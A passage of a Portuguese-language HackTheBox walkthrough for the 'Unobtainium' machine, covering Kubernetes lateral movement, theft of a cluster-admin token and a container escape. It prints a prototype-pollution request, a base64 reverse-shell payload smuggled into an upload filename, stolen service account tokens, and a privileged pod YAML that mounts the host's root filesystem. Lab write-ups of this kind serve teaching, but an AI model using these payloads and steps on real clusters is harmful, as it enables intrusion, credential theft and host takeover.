Outro arquivo importante, mas a caráter de informação, é o arquivo chamado namespace:
root@webapp-deployment-9546bc7cb-b7k2g:/usr/src/app# cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
default
No kubernetes podemos criar namespaces, que é uma separação lógica, um mecanismo para isolar grupos de recursos. Com isso podemos ter namespaces variadas, como developer, production e etc. Em cada namespace podemos criar pods, services, deployments e entre outros recursos do kubernetes.
No caso do arquivo namespace que visualizamos acima, ele indica que o pod em que estamos esta na namespace default, que como o nome informa é a namespace default do kubernetes.
O próximo passo que iremos realizar é utilizar o kubectl para interagir com a kubeapi do nosso alvo.
O kubectl é um client para comunicação com o kubeapi do kubernetes.
Vamos listar as permissões que o pod possui através do seguinte comando localmente atraés do kubectl:
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl auth can-i --list --token `cat ./token` -s https://10.129.136.226:8443 --certificate-authority ./ca.crt
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
namespaces [] [] [get list]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
No kubernetes você pode criar um usuário ou serviceaccounts, este último utilizado pelos próprios recursos do kubernetes para acessar ou restringir acesso a outros recursos. Tanto o usuário ou serviceaccount precisa ter um conjunto de permissões (RBAC) que são setadas nas Roles e atribuidas a eles nas Rolebindings, isso a nível de namespace pois é possível setar a nível de cluster com ClusterRoles e ClusterRoleBinding. Mas isso não iremos nos aprofundar pelo fato de não ocorrer interação com tais funcionalidades.
O kubernetes possui regras de acesso, onde existem recursos e verbos. Os recursos são namespaces, pods, services e demais recursos que o kubernetes provém. Já os verbos são ações que os detentores do acesso podem executar.
O retorno de nosso último comando executa uma checagem de permissionamento que temos, nos mostrando quais verbs temos sobre determinados resources.
E podemos listar namespaces:
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl get ns --token `cat ./token` -s https://10.129.136.226:8443 --certificate-authority ./ca.crt
NAME STATUS AGE
default Active 448d
kube-system Active 448d
kube-public Active 448d
kube-node-lease Active 448d
dev Active 448d
Aqui podemos ver as namespaces que este cluster kubernetes possui. Temos a default onde nosso pod esta rodando e temos a dev que é uma namespace criada, pois todas as outras que contém kube-... são padrões do kubernetes.
Vamos visualizar as permissões que temos na namespace dev:
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl auth can-i --list -n dev --token `cat ./token` -s https://10.129.136.226:8443 --certificate-authority ./ca.crt
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
namespaces [] [] [get list]
pods [] [] [get list]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
O verbo GET é referente ao comando get que executamos, que lista os recursos que desejamos. E nessa namespace podemos listar os pods rodando:
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl get po -n dev --token `cat ./token` -s https://10.129.136.226:8443 --certificate-authority ./ca.crt
NAME READY STATUS RESTARTS AGE
devnode-deployment-776dbcf7d6-g4659 1/1 Running 6 (24d ago) 448d
devnode-deployment-776dbcf7d6-sr6vj 1/1 Running 6 (24d ago) 448d
devnode-deployment-776dbcf7d6-7gjgf 1/1 Running 6 (24d ago) 448d
Já o verbo LIST informa que podemos descrever o conteúdo de determinado recurso, como um pod, por exemplo. Com isso conseguimos informações sobre o pod, como endereço ip, imagem, quantidade e nome do container, portas abertas, volumes e etc.
E aqui que encontramos algo interessante:
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl describe po devnode-deployment-776dbcf7d6-g4659 -n dev --token `cat ./token` -s https://10.129.136.226:8443 --certificate-authority ./ca.crt
Name: devnode-deployment-776dbcf7d6-g4659
Namespace: dev
...
...
Mounts:
/root/ from user-flag (rw)
/var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-ww6h2 (ro)
...
...
Volumes:
user-flag:
Type: HostPath (bare host directory volume)
Path: /opt/user/
HostPathType:
...
A saída do comando acima irá exibir todas as informações sobre o pod, no entanto o que nos chama atenção é o volume do mesmo. Acontece que no diretório /root do pod foi montado o path /opt/user. E se a gente visualizar o conteúdo do diretório /root do pod que temos acesso:
(remote) root@webapp-deployment-9546bc7cb-b7k2g:/opt# ls -alh /root/
total 12K
drwxr-xr-x 2 root root 4.0K Aug 29 2022 .
drwxr-xr-x 1 root root 4.0K Nov 19 22:25 ..
-rw-r--r-- 2 root root 33 Nov 19 22:26 user.txt
(remote) root@webapp-deployment-9546bc7cb-b7k2g:/opt# cat /root/user.txt
eeeca1b96472d17a455e688bf5c9c8da
Conseguimos encontrar a user flag!
Agora temos a user flag e acesso ao kubeapi do kubernetes. Como estamos no pod webapp-deployment-9546bc7cb-b7k2g na namespace default podemos tentar uma movimentação lateral para os pods rodando na namespace dev.
Para isso vamos observar alguns detalhes que conseguimos com o describe. Podemos notar que esta rodando a mesma aplicação pois a configuração é similar ao pod que temos shell.
Podemos replicar a técnica que utilizamos para ganhar nosso primeiro shell só que agora de um pod para outro.
Primeiro buscamos o endereço ip do nosso novo alvo:
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl describe po devnode-deployment-776dbcf7d6-g4659 -n dev --token `cat ./token` -s https://10.129.136.226:8443 --certificate-authority ./ca.crt | grep -i ip
IP: 10.42.0.63
Como estamos dentro de um container não será possível utilizar nossos scripts. Nesse caso vamos utilizar o comando curl, presente no container.
Para isso vamos precisar abrir outro reverse shell em nosso alvo, pois os próximos passos precisarão.
Primeiramente iremos utilizar o prototype pollution para habilitar o upload para nosso usuário no pod da namespace dev:
root@webapp-deployment-9546bc7cb-b7k2g:/usr/src/app# curl -H 'Content-Type: application/json' -XPUT http://10.42.0.63:3000 -d '{ "auth": {"name": "felamos", "password": "Winter2021"}, "message": {"text":"something", "__proto__": { "canUpload": true}}}'
{"ok":true}
Podemos utilizar o mesmo payload, somente precisar utilizar o ip do nosso container:
bash -i >&/dev/tcp/10.42.0.71/9002 0>&1
Aqui iremos precisaremos do segundo reverse shell, onde iremos enviar o binário do netcat para nosso shell.
Com o binário do netcat no servidor alvo iremos executar o mesmo em uma aba:
root@webapp-deployment-9546bc7cb-b7k2g:/usr/src/app# ./nc64 -nlvp 9002
listening on [any] 9002 ...
Estamos prontos para executar nosso payload:
(remote) root@webapp-deployment-9546bc7cb-b7k2g:/usr/src/app# curl -H 'Content-Type: application/json' -XPOST http://10.42.0.63:3000/upload --data '{ "auth": {"name": "felamos", "password": "Winter2021"}, "filename":"| echo YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjQyLjAuNzEvOTAwMiAwPiYx | base64 -d |bash #"}'
{"ok":true,"Uploaded_File":"| echo YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjQyLjAuNzEvOTAwMiAwPiYx | base64 -d |bash #"}
Com isso conseguimos shell no pod alvo na namespace dev!
root@webapp-deployment-9546bc7cb-b7k2g:/usr/src/app# ./nc64 -nlvp 9002
listening on [any] 9002 ...
connect to [10.42.0.71] from (UNKNOWN) [10.42.0.63] 37974
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app#
Uma vez que estamos dentro de um novo pod iremos realizar o mesmo procedimento para buscar o ca.crt e token para acesso ao kubeapi. Neste pod estes arquivos estão em outro diretório:
/var/run/secrets/kubernetes.io/serviceaccount# ls -lah
ls -lah
total 4.0K
drwxrwxrwt 3 root root 140 Nov 20 23:33 .
drwxr-xr-x 3 root root 4.0K Nov 19 22:25 ..
drwxr-xr-x 2 root root 100 Nov 20 23:33 ..2023_11_20_23_33_05.040072354
lrwxrwxrwx 1 root root 31 Nov 20 23:33 ..data -> ..2023_11_20_23_33_05.040072354
lrwxrwxrwx 1 root root 13 Nov 19 22:25 ca.crt -> ..data/ca.crt
lrwxrwxrwx 1 root root 16 Nov 19 22:25 namespace -> ..data/namespace
lrwxrwxrwx 1 root root 12 Nov 19 22:25 token -> ..data/token
<659:/var/run/secrets/kubernetes.io/serviceaccount# cat ca.crt
cat ca.crt
-----BEGIN CERTIFICATE-----
MIIBeDCCAR2gAwIBAgIBADAKBggqhkjOPQQDAjAjMSEwHwYDVQQDDBhrM3Mtc2Vy
dmVyLWNhQDE2NjE3NjUxNzEwHhcNMjIwODI5MDkyNjExWhcNMzIwODI2MDkyNjEx
WjAjMSEwHwYDVQQDDBhrM3Mtc2VydmVyLWNhQDE2NjE3NjUxNzEwWTATBgcqhkjO
PQIBBggqhkjOPQMBBwNCAARjzR9cs7kiNtbkFyt2CQty/RYFvTlArJQCVkBoxrNW
XRd1BgLk7hMVDIIeVTdExixxUcRO8K+ui1rynvTNi3Zpo0IwQDAOBgNVHQ8BAf8E
BAMCAqQwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUZnhTV57wo97Gip3FwA+4
VcbrH1AwCgYIKoZIzj0EAwIDSQAwRgIhAPG7nTC3s9lHoILiY0+jdBWX4AASg9nf
tAKZYtmwgkcPAiEA9sH5WxACqcXbDWcYTFVqKi36PLl75fYwxmaiXe7dAyI=
-----END CERTIFICATE-----
<659:/var/run/secrets/kubernetes.io/serviceaccount# cat token
cat token
eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzMyMDU5MTg1LCJpYXQiOjE3MDA1MjMxODUsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZXYiLCJwb2QiOnsibmFtZSI6ImRldm5vZGUtZGVwbG95bWVudC03NzZkYmNmN2Q2LWc0NjU5IiwidWlkIjoiMWEzZjIyZGMtNTJlYS00MmYwLWEyMjMtOWFlZmU2YWJmYmVmIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJkZWZhdWx0IiwidWlkIjoiMjk1NzViZmMtMTlkYi00MTBkLWJmZmYtZWQ1OGVjMWY0NzUzIn0sIndhcm5hZnRlciI6MTcwMDUyNjc5Mn0sIm5iZiI6MTcwMDUyMzE4NSwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRldjpkZWZhdWx0In0.exHbqP0rELvnzHnM5J-t-epWWN0wpsNo3-xSg0fhL8ijhR7aOIg9xMgC4gp3KYsdquBozdlf3YBgpWbebxR3huTNqmiVp4Ov3tiC_sa_U-T_t6hAVU9SQPPHjba7ncAySki4PMMacpNdB4cahf3Yw9LyoPvCdLEEOrZMU93LKiFPA4pMl0Fj_yhbPkRSI7AXiZzZHKLW83acwccKwgsUuHznKxjQf2do91jMVUJ2rcNuBaEK2HIz1kfXr3WN6Ys_q5g_MGfaHnCkgBENZCXW09pgJ4Kk-3Yr6b9jlds8_YCyAVxDdiop32R8Wr7JXpRgENUKQSBdppHxItAtOOizOQ:
Seguindo o procedimento iremos visualizar localmente quais permissões conseguimos obter:
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl auth can-i -n kube-system --list --token `cat ./dev-token` -s https://10.129.136.226:8443 --certificate-authority ./dev-ca.crt
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets [] [] [get list]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
Com as novas permissões conseguimos visualizar secrets, que é um objeto do kubernetes utilizado para armazenar valores, certificados e outros dados sensíveis.
Neste momento iremos verificar em todas as namespaces disponíveis.
E analisando os secrets da namespace kube-system (namespace responsável por guardar recursos e objetos para o funcionamento do próprio kubernetes) encontramos dentre os secrets o seguinte:
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl get secrets -n kube-system --token `cat ./dev-token` -s https://10.129.136.226:8443 --certificate-authority ./dev-ca.crt
NAME TYPE DATA AGE
...
c-admin-token-b47f7 kubernetes.io/service-account-token 3 448d
...
Utilizando o GET conseguimos visualizar seu conteúdo com a saída em yaml:
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl get secrets c-admin-token-b47f7 -n kube-system -oyaml --token `cat ./dev-token` -s https://10.129.136.226:8443 --certificate-authority ./dev-ca.crt
apiVersion: v1
data:
ca.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUJlRENDQVIyZ0F3SUJBZ0lCQURBS0JnZ3Foa2pPUFFRREFqQWpNU0V3SHdZRFZRUUREQmhyTTNNdGMyVnkKZG1WeUxXTmhRREUyTmpFM05qVXhOekV3SGhjTk1qSXdPREk1TURreU5qRXhXaGNOTXpJd09ESTJNRGt5TmpFeApXakFqTVNFd0h3WURWUVFEREJock0zTXRjMlZ5ZG1WeUxXTmhRREUyTmpFM05qVXhOekV3V1RBVEJnY3Foa2pPClBRSUJCZ2dxaGtqT1BRTUJCd05DQUFSanpSOWNzN2tpTnRia0Z5dDJDUXR5L1JZRnZUbEFySlFDVmtCb3hyTlcKWFJkMUJnTGs3aE1WRElJZVZUZEV4aXh4VWNSTzhLK3VpMXJ5bnZUTmkzWnBvMEl3UURBT0JnTlZIUThCQWY4RQpCQU1DQXFRd0R3WURWUjBUQVFIL0JBVXdBd0VCL3pBZEJnTlZIUTRFRmdRVVpuaFRWNTd3bzk3R2lwM0Z3QSs0ClZjYnJIMUF3Q2dZSUtvWkl6ajBFQXdJRFNRQXdSZ0loQVBHN25UQzNzOWxIb0lMaVkwK2pkQldYNEFBU2c5bmYKdEFLWll0bXdna2NQQWlFQTlzSDVXeEFDcWNYYkRXY1lURlZxS2kzNlBMbDc1Zll3eG1haVhlN2RBeUk9Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
namespace: a3ViZS1zeXN0ZW0=
token: ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkNJNkluUnFTRlowT1RoblpFTlZjRGg0U1hsdFRHaGZVMGhFWDNBMlVYQmhNRzAzWDJweFVWWXRNSGxyWTJjaWZRLmV5SnBjM01pT2lKcmRXSmxjbTVsZEdWekwzTmxjblpwWTJWaFkyTnZkVzUwSWl3aWEzVmlaWEp1WlhSbGN5NXBieTl6WlhKMmFXTmxZV05qYjNWdWRDOXVZVzFsYzNCaFkyVWlPaUpyZFdKbExYTjVjM1JsYlNJc0ltdDFZbVZ5Ym1WMFpYTXVhVzh2YzJWeWRtbGpaV0ZqWTI5MWJuUXZjMlZqY21WMExtNWhiV1VpT2lKakxXRmtiV2x1TFhSdmEyVnVMV0kwTjJZM0lpd2lhM1ZpWlhKdVpYUmxjeTVwYnk5elpYSjJhV05sWVdOamIzVnVkQzl6WlhKMmFXTmxMV0ZqWTI5MWJuUXVibUZ0WlNJNkltTXRZV1J0YVc0aUxDSnJkV0psY201bGRHVnpMbWx2TDNObGNuWnBZMlZoWTJOdmRXNTBMM05sY25acFkyVXRZV05qYjNWdWRDNTFhV1FpT2lJek1UYzNPR1F4TnkwNU1EaGtMVFJsWXpNdE9UQTFPQzB4WlRVeU16RTRNR0l4TkdNaUxDSnpkV0lpT2lKemVYTjBaVzA2YzJWeWRtbGpaV0ZqWTI5MWJuUTZhM1ZpWlMxemVYTjBaVzA2WXkxaFpHMXBiaUo5LmZrYV9VVWNlSUpBbzN4bUZsOFJYbmNXRXNaQzNXVVJPdzV4NmRtZ1FoXzgxZWFtMXh5eHFfaWxJejZDajZIN3Y1QmpjZ0lpd3NXVTl1MTN2ZVk2ZEZFck9zZjFJMTBuQURxWkQ2NlZRMjRJNlRMcUZhc1RwblJIR19leldLOFV1WHJaY0hCdTRIcmloNExBYTJycE9SbTh4UkF1TlZFbWliWU5HaGpfUE5lWjZFV1FKdzduODdsaXIybFljcUdFWTExa1hCUlNpbFJVMWdOaFdibktvS1JlR19PVGhpUzVjQ28yZHM4S0RYNkJad3hFcGZXNEE3ZktDLVNkTFlRcTZfaTJFemtWb0JnOFZrMk1sY0doTi0wX3VlcnI2clBiU2k5ZmFRTm9LT1pCWVlmVkhHR00zUURDQWszRHUtWXRCeWxvQkNmVHc4WHlsRzlFdVRndGdaQQ==
kind: Secret
metadata:
annotations:
kubernetes.io/service-account.name: c-admin
kubernetes.io/service-account.uid: 31778d17-908d-4ec3-9058-1e523180b14c
creationTimestamp: "2022-08-29T09:32:33Z"
managedFields:
- apiVersion: v1
fieldsType: FieldsV1
fieldsV1:
f:data:
.: {}
f:ca.crt: {}
f:namespace: {}
f:token: {}
f:metadata:
f:annotations:
.: {}
f:kubernetes.io/service-account.name: {}
f:kubernetes.io/service-account.uid: {}
f:type: {}
manager: k3s
operation: Update
time: "2022-08-29T09:32:33Z"
name: c-admin-token-b47f7
namespace: kube-system
resourceVersion: "707"
uid: 7778ef55-db34-406d-b256-1704ec78236e
type: kubernetes.io/service-account-token
Convertendo de base64 os valores ascii podemos confirmar que se trata de um ca.crt e token armazenados em base64, formato que os secrets são disponibilizados no kubernetes.
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# echo -n 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUJlRENDQVIyZ0F3SUJBZ0lCQURBS0JnZ3Foa2pPUFFRREFqQWpNU0V3SHdZRFZRUUREQmhyTTNNdGMyVnkKZG1WeUxXTmhRREUyTmpFM05qVXhOekV3SGhjTk1qSXdPREk1TURreU5qRXhXaGNOTXpJd09ESTJNRGt5TmpFeApXakFqTVNFd0h3WURWUVFEREJock0zTXRjMlZ5ZG1WeUxXTmhRREUyTmpFM05qVXhOekV3V1RBVEJnY3Foa2pPClBRSUJCZ2dxaGtqT1BRTUJCd05DQUFSanpSOWNzN2tpTnRia0Z5dDJDUXR5L1JZRnZUbEFySlFDVmtCb3hyTlcKWFJkMUJnTGs3aE1WRElJZVZUZEV4aXh4VWNSTzhLK3VpMXJ5bnZUTmkzWnBvMEl3UURBT0JnTlZIUThCQWY4RQpCQU1DQXFRd0R3WURWUjBUQVFIL0JBVXdBd0VCL3pBZEJnTlZIUTRFRmdRVVpuaFRWNTd3bzk3R2lwM0Z3QSs0ClZjYnJIMUF3Q2dZSUtvWkl6ajBFQXdJRFNRQXdSZ0loQVBHN25UQzNzOWxIb0lMaVkwK2pkQldYNEFBU2c5bmYKdEFLWll0bXdna2NQQWlFQTlzSDVXeEFDcWNYYkRXY1lURlZxS2kzNlBMbDc1Zll3eG1haVhlN2RBeUk9Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K' | base64 -d
-----BEGIN CERTIFICATE-----
MIIBeDCCAR2gAwIBAgIBADAKBggqhkjOPQQDAjAjMSEwHwYDVQQDDBhrM3Mtc2Vy
dmVyLWNhQDE2NjE3NjUxNzEwHhcNMjIwODI5MDkyNjExWhcNMzIwODI2MDkyNjEx
WjAjMSEwHwYDVQQDDBhrM3Mtc2VydmVyLWNhQDE2NjE3NjUxNzEwWTATBgcqhkjO
PQIBBggqhkjOPQMBBwNCAARjzR9cs7kiNtbkFyt2CQty/RYFvTlArJQCVkBoxrNW
XRd1BgLk7hMVDIIeVTdExixxUcRO8K+ui1rynvTNi3Zpo0IwQDAOBgNVHQ8BAf8E
BAMCAqQwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUZnhTV57wo97Gip3FwA+4
VcbrH1AwCgYIKoZIzj0EAwIDSQAwRgIhAPG7nTC3s9lHoILiY0+jdBWX4AASg9nf
tAKZYtmwgkcPAiEA9sH5WxACqcXbDWcYTFVqKi36PLl75fYwxmaiXe7dAyI=
-----END CERTIFICATE-----
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# echo -n 'ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkNJNkluUnFTRlowT1RoblpFTlZjRGg0U1hsdFRHaGZVMGhFWDNBMlVYQmhNRzAzWDJweFVWWXRNSGxyWTJjaWZRLmV5SnBjM01pT2lKcmRXSmxjbTVsZEdWekwzTmxjblpwWTJWaFkyTnZkVzUwSWl3aWEzVmlaWEp1WlhSbGN5NXBieTl6WlhKMmFXTmxZV05qYjNWdWRDOXVZVzFsYzNCaFkyVWlPaUpyZFdKbExYTjVjM1JsYlNJc0ltdDFZbVZ5Ym1WMFpYTXVhVzh2YzJWeWRtbGpaV0ZqWTI5MWJuUXZjMlZqY21WMExtNWhiV1VpT2lKakxXRmtiV2x1TFhSdmEyVnVMV0kwTjJZM0lpd2lhM1ZpWlhKdVpYUmxjeTVwYnk5elpYSjJhV05sWVdOamIzVnVkQzl6WlhKMmFXTmxMV0ZqWTI5MWJuUXVibUZ0WlNJNkltTXRZV1J0YVc0aUxDSnJkV0psY201bGRHVnpMbWx2TDNObGNuWnBZMlZoWTJOdmRXNTBMM05sY25acFkyVXRZV05qYjNWdWRDNTFhV1FpT2lJek1UYzNPR1F4TnkwNU1EaGtMVFJsWXpNdE9UQTFPQzB4WlRVeU16RTRNR0l4TkdNaUxDSnpkV0lpT2lKemVYTjBaVzA2YzJWeWRtbGpaV0ZqWTI5MWJuUTZhM1ZpWlMxemVYTjBaVzA2WXkxaFpHMXBiaUo5LmZrYV9VVWNlSUpBbzN4bUZsOFJYbmNXRXNaQzNXVVJPdzV4NmRtZ1FoXzgxZWFtMXh5eHFfaWxJejZDajZIN3Y1QmpjZ0lpd3NXVTl1MTN2ZVk2ZEZFck9zZjFJMTBuQURxWkQ2NlZRMjRJNlRMcUZhc1RwblJIR19leldLOFV1WHJaY0hCdTRIcmloNExBYTJycE9SbTh4UkF1TlZFbWliWU5HaGpfUE5lWjZFV1FKdzduODdsaXIybFljcUdFWTExa1hCUlNpbFJVMWdOaFdibktvS1JlR19PVGhpUzVjQ28yZHM4S0RYNkJad3hFcGZXNEE3ZktDLVNkTFlRcTZfaTJFemtWb0JnOFZrMk1sY0doTi0wX3VlcnI2clBiU2k5ZmFRTm9LT1pCWVlmVkhHR00zUURDQWszRHUtWXRCeWxvQkNmVHc4WHlsRzlFdVRndGdaQQ==' | base64 -d
eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLWI0N2Y3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIzMTc3OGQxNy05MDhkLTRlYzMtOTA1OC0xZTUyMzE4MGIxNGMiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.fka_UUceIJAo3xmFl8RXncWEsZC3WUROw5x6dmgQh_81eam1xyxq_ilIz6Cj6H7v5BjcgIiwsWU9u13veY6dFErOsf1I10nADqZD66VQ24I6TLqFasTpnRHG_ezWK8UuXrZcHBu4Hrih4LAa2rpORm8xRAuNVEmibYNGhj_PNeZ6EWQJw7n87lir2lYcqGEY11kXBRSilRU1gNhWbnKoKReG_OThiS5cCo2ds8KDX6BZwxEpfW4A7fKC-SdLYQq6_i2EzkVoBg8Vk2MlcGhN-0_uerr6rPbSi9faQNoKOZBYYfVHGGM3QDCAk3Du-YtByloBCfTw8XylG9EuTgtgZA
Salvando localmente podemos utilizar para ver quais permissões conseguimos ter com este novo acesso.
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl auth can-i -n dev --list --token `cat ./admin-token` -s https://10.129.136.226:8443 --certificate-authority ./admin-ca.crt
Resources Non-Resource URLs Resource Names Verbs
*.* [] [] [*]
[*] [] [*]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
O nome do secret era sugestivo, o output acima informa que somos cluster-admin, ou seja, conseguimos acesso como administrador do kubernetes.
Container Escape e root flag!
E agora, cade a root flag?
Nesse caso precisamos realizar um container escape e acessar o node onde esta rodando o kubernetes.
Este procedimento é muito simples uma vez que somos cluster-admin, precisamos criar um pod privilegiado e montar o seu volume no diretório / do node. Para isso vamos utilizar o yaml abaixo:
apiVersion: v1
kind: Pod
metadata:
name: malicious-pod
spec:
containers:
- name: malicious-pod
image: localhost:5000/node_server
volumeMounts:
- mountPath: /root
name: mount-root-into-mnt
volumes:
- name: mount-root-into-mnt
hostPath:
path: /
automountServiceAccountToken: true
hostNetwork: true
O arquivo acima irá criar um pod utilizando a mesma imagem da aplicação que ja esta rodando, pois o cluster não esta permitindo baixar imagens novas. Esse pod terá seu volume montado no diretório / e compartilhará a mesma network do host.
Para realizar o deploy na namespace dev basta executar o seguinte comando:
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl apply -f pod-root.yaml -n dev --token `cat ./admin-token` -s https://10.129.136.226:8443 --certificate-authority ./admin-ca.crt
pod/malicious-pod created
Podemos visualizar o novo pod rodando:
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl get po -n dev --token `cat ./token` -s https://10.129.136.226:8443 --certificate-authority ./ca.crt
NAME READY STATUS RESTARTS AGE
devnode-deployment-776dbcf7d6-g4659 1/1 Running 6 (24d ago) 448d
devnode-deployment-776dbcf7d6-sr6vj 1/1 Running 6 (24d ago) 448d
devnode-deployment-776dbcf7d6-7gjgf 1/1 Running 6 (24d ago) 448d
malicious-pod 1/1 Running 0 15m
Como temos permissões totais podemos acessar o novo pod via kubectl e visualizar todo seu conteúdo.
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl exec -it malicious-pod -n dev "bash" --token `cat ./admin-token` -s https://10.129.136.226:8443 --certificate-authority ./admin-ca.crt
kubectl exec [POD] [COMMAND] is DEPRECATED and will be removed in a future version. Use kubectl exec [POD] -- [COMMAND] instead.
root@unobtainium:/usr/src/app# pwd
/usr/src/app
E podemos confirmar que foi montado o volume corretamente, no qual temos acesso ao diretório e a root flag:
root@unobtainium:/usr/src/app# cd /root/
root@unobtainium:~# ls -a
. bin cdrom etc lib lib64 lost+found mnt proc run snap sys usr
.. boot dev home lib32 libx32 media opt root sbin srv tmp var
root@unobtainium:~# cd root/
root@unobtainium:~/root# ls -a
. .ansible .bashrc .kube .profile .viminfo snap
.. .bash_history .cache .local .ssh root.txt
root@unobtainium:~/root# cat root.txt
dfe0e12fe8789627e0d631fcc8985b25
Assim finalizando a máquina Unobtainium.
Top comments (0)